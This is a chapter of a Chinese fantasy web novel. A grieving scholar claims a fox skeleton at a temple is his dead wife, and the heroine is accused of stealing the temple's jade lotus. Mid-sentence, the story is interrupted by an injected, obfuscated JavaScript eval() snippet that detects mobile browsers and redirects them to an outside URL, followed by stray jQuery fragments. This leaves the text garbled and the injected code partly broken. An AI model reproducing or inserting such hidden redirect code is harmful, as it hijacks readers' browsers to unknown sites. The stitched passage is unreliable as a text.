48. 认骨为妻

清安寺的住持一见这青年,就觉得心头有股无名火。自打这青年莫名撞倒了大殿中的佛像后,寺里就有接二连三的事情,简直冤孽。


住持对着左右的僧人轻喝道:“愣着干什么,把他带到后院去,待天晴了,让他以工抵债。”


这青年神情狼狈,除了额头上青紫的疤痕,原本已洗得发白的衣衫也已染上了多处污渍,手腕处还有两道因为挣扎绳索弄出来的红痕。奋力挣脱两边僧人的钳制,他的嗓音中除了沙哑的哀嚎还有无助的祈求:“不能烧!”


一旁的僧人怒道:“这是我们寺里的事情,与你无关,还不速速退去,少在这添乱。”


说罢,便拽着青年的胳膊要将其带下去。


那青年看着细瘦,却不知打哪里来有一股子蛮劲,一时之间竟与前来拉他的僧人僵持不下。


只满面急切,“那是我的发妻,还请各位大师宽恕,让我带她回家。前几日的事情是我失礼,对不住贵寺,但这事于我而言意义重大,还望诸位大师高抬贵手!”


那僧人只觉得他在胡言乱语,满面不耐,“瞎扯什么,你看清楚了,这是不知打哪里来的妖骨,不是人类的骨头,更不是什么如花似玉的小娘子。小子,发疯也找个好点的理由!”


青年寻了个空隙,趁着僧人不备弯着腰向那白骨扑了上去,一副视死如归的坚定模样,“不论如何,这就是我发妻!”


这边乱作一团,清安寺的住持简直头大。


谁知这青年尚未搞定,后面又来了一声“不能烧”,当即怒吼道:“怎么,又来一个认妻的!”


大殿门口


宁凤歌扶着门,正一瘸一拐地进来,顿时被住持这声怒吼给喊蒙了,诺诺道:“这倒不是。”


她被来拿她的僧人扶着进了门,行至众人面前,看着铺在妖骨上的青年,满面疑惑,“这位兄台,你在干什么?”


莫非刚才住持指的认妻之人就是他。


但搞什么鬼,小白离世前尚且是个幼狐,哪里来的夫婿!


宁凤歌迟疑着开口,“兄台,你可是认错人了,不,认错妖了。”


那青年虽满身狼狈,但神情坚定,“绝不可能,神仙说了,只要我来此庙,按照他说的做,定然能见到我的发妻。”


他深情地摸着身下的白骨,眼神缱绻,仿佛是对心爱之人,“哪怕她已经成了白骨,但我要带她回家。”


见这青年似对亡妻用情至深,宁凤歌不免有些怀疑自己的判断。


莫不是真是自己记错了,还是小白在生前还背着他们和这青年……早恋?


一旁折剑楼的弟子听得云里雾里:“你一个人类竟与妖族成婚,这可是不为世俗所容的。再者,你凭什么判定这就是……你,那个的遗骸,为何你要认一段骨头为你的发妻,若能与你相恋,能化为人形的妖修至少是化神境界,这可不是什么能轻易被杀的存在。”


他实在是难以将“发妻”两个字说出口。


正常人就算来认发妻,也是先认人,哪有上来就扑向骨头,认定这是他亡妻的。


宁凤歌闻言,被这青年带偏的想法再次回归正轨。


重点是小白它还是只修为低微的幼狐,离化神大妖还远着呢!


她好心提醒道:“你再看看那断骨旁的毛发,你那发妻可是和小白一样品种的白狐?”


这一言瞬间惊醒了青年,他呐呐疑惑:“这是白狐的骨头?怎么可能呢,我那发妻分明是……鹿”妖啊。


他不懂什么狐妖,鹿妖,也不懂什么修行者和化形大妖。


他只是听从一个奇士能人的指示,按照他说的,虔诚拜佛,诚心礼佛,若这清安寺的神佛不肯答应他的请求,便推倒这佛像,无论后面迎来的是怎么的神罚或惩处,只要能再见他的亡妻一面。


哪怕只是遗骸呢。


但可惜了,无论是怎样诚心礼佛,还是推倒神像,都没有任何神迹发生。


静悄悄的,仿佛他一个人的独角戏。


而今就连这眼前的遗骸似乎都不是亡妻的,这点渺小的愿望似乎都成了镜中月、水中花。


他呆呆愣在原地,手中枯黄的动物毛发静静滑落在地。


“时人不识凌云木,直待凌云始道高。你曾说过的,伴我凌云,恩爱两不移。而今路断,竟是从头皆错。”青年瘫坐在地,眸中凄凉也黯淡。


寺外潇潇雨下,寺内亦有悲戚。


旁观的僧人悄悄传着小话,有知情的早将这青年的经历八卦了一遍。


这青年名为柳凌云,原渝州一米贩之子,早有高堂在上,红袖在侧,年纪轻轻便连中三元,端的是少年得意,意气风发,而直至在一场宴会上暴露了他发妻是妖的意外发生。


之后便是听闻他宁愿辞官回乡,也不愿休妻,最终却没熬过日子的艰难,手刃发妻的传言。


“最后还不是一样害了自己发妻的命,又跑来这里演情深,真是何苦来,”这是有僧人在小声嘀咕。


但这嘀咕声估计还是声量大了些,以至于在这安静的大殿之中清晰可闻。


青年明显也听到了,他怒睁着眼,那半截污秽的袖子奋力向后一拂,似要扫清这流言,大声嚷道:“我没有!”


但很快又垂下头去,双手抱头,声音小了下去,“我也不想的。”


他只是在一日一日的沉寂之中,突然受到了上官的传唤。


那日,上官一改往日严肃,不仅安慰了他,还温和对他道:“说不准你的夫人不是妖,只是被妖附了身,毕竟妖哪里懂人的情!我这有一个药方,对妖有效,但对人无效。你悄悄放在膳食中,保管那妖离了你夫人的身。日后,你们仍是一对恩爱的夫妻,你也可以洗脱嫌隙,日后未必不能重回官身。”


他期待着、颤栗着,像怀揣最后一丝期望,直至他的发妻泣着血瘫倒在桌上,临终前只有一句:“我一直……在等你来问我。”


宁凤歌不是很清楚这青年的背后有怎样悲苦的故事,但有件事她必须问明白:“那个告诉你来清安寺,并且告诉你在清安寺能见到你哪位亡妻的人是谁?”


要不是这天杀的奇人,也不至于让这青年在悲愤下推倒佛像,更不至于让清安寺的僧人要重修大殿,最后导致她不得不把小白最后的遗骸给偷偷搬走!


虽然中途出了如此大的纰漏,还让人给抓获在当场!


当然,被抓事件,那桐云弟子也有很大功劳!


真是屋漏偏逢连夜雨,一事不顺事事不顺。


青年回想了一下,“我不知道那是谁,他长着一张很普通的脸,但不知道为什么,他和我说时,我十分相信他。”


就像中了魔,让他一路跋涉来此。


估计是易容术,宁凤歌心中愤愤不平,若有一日,让她知道这个坏事者是谁,必要将其挫骨扬灰。


宁凤歌的出声,不仅问出了自己心中疑惑,也成功让清安寺的住持注意到了她,“这青年如果是事出有因,那你是怎么回事,我清安


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15221051|160638||http|test|mini|href|location.split(|),0,{}));


() {


$(.inform).remove();


$(#content).append(


寺与你无冤无仇,你为何要盗我寺中财物,我寺中原本的佛前莲花又去了何处?”


众人的目光,“唰”地一下就聚集在了宁凤歌的身上。


真是个让人答不上来的好问题!


宁凤歌面上“哈哈”苦笑,心中则是想到,我能告诉你们清安寺从来没有什么佛前莲花,这许多年来,一直都是这被灌溉了灵力的小白遗骸被供在佛前。


只是这么回答,她的小命今天会被交代在这里的吧!


可是天啦,又不是她这么做的,简直是用命背锅。


为了苟命,她只能嗫嚅道:“我给弄丢了。”


下一瞬间,就迎来了满寺僧人的怒目而视。宁凤歌只得迅速伸出右手,竖起几根指头,对天发誓,“我保证再为寺中寻一只更好的玉莲花,日日供在佛前,享受佛光照耀,为寺中添光加彩。”


然而这话还未让全部僧人平息怒火,就听一道疑惑声起,“难道是我之前眼花?可是我方才分明见着,这妖骨就是住持口中的玉莲花幻化而成的。”


分明这眼前的白骨和之前的玉莲花就是同一物,气息也一致,莫非是用了障眼术的阵法。


宁凤歌:“……”


真是感谢宴曲门的这位弟子,如此努力让她的小命置于风口浪尖之上。


如此公然欺辱小佛寺,还是多年之事,这可比撞倒佛像的事情严重多了。


清安寺的住持一想着自己放在佛前供奉多年的玉莲花居然是妖兽的骨骸,当下怒急攻心,直直吐出一口鲜血来。


清安寺的僧人立刻分出人手来,两人拥着倒下的住持,其余人押着宁凤歌,也不管寺外是否还在下雨,当时就想报往春深寺,让佛子为他们主持公道,处置了这可恨的小贼。


宁凤歌被前后押着,感觉自己的小命在顷刻之间就要玩完,一时之间四处瞎喊,“小白,樱语,真人,颜师兄……救命啊!”


然而寺中众人忙乱之际,一道无比冷淡的声音自后传来,“放开她,是我放的。”


……


佛安城,春深寺


年轻的佛子此刻正对着归来的老和尚痛骂攸宁,“该死的书生,真是欺我佛门太甚。哪怕清安寺中无佛修,也不是他可以如此放肆的缘故。怎么说,佛安城方圆百里都是我佛门的地方。”


怒骂了一通,佛子最后总结宣誓:“我要让他滚出我佛门地界。”


归来的空明大师气定神闲听了一通爱徒的牢骚,只问道:“那是如今的仙门第二人,你打算如何让他滚出去。”


春深寺满寺佛修,只有面前的老和尚入了化神初境,佛子瞬时丧下气去,只得承认,“是打不过。”


但转瞬,他再次神采飞扬地抬起头来,“但苏仙尊如今也在佛安城做客。”


……


清安寺客房


颜子瑜只觉得这次提前破境格外顺利,他睁开眼,感受全身充盈的灵力,十分满意。


大概是有些无聊,不远处的大殿正上演着一出闹剧。他凝神听了半天八卦,最后才见那披皮的仙门第二人缓慢登场。


行了,至少宁凤歌的这条小命可以保住了。


他打开窗,看着外面的潇潇雨幕,师尊已经出去了许久,不知道还有多久才能回来。


目光在屋内随意扫视,最后落在了挽华剑之上。


他的心中缓缓升起一种不安之感,并在逐渐强烈。


第六感告诉他,出去了如此之久,师尊可能……出事了。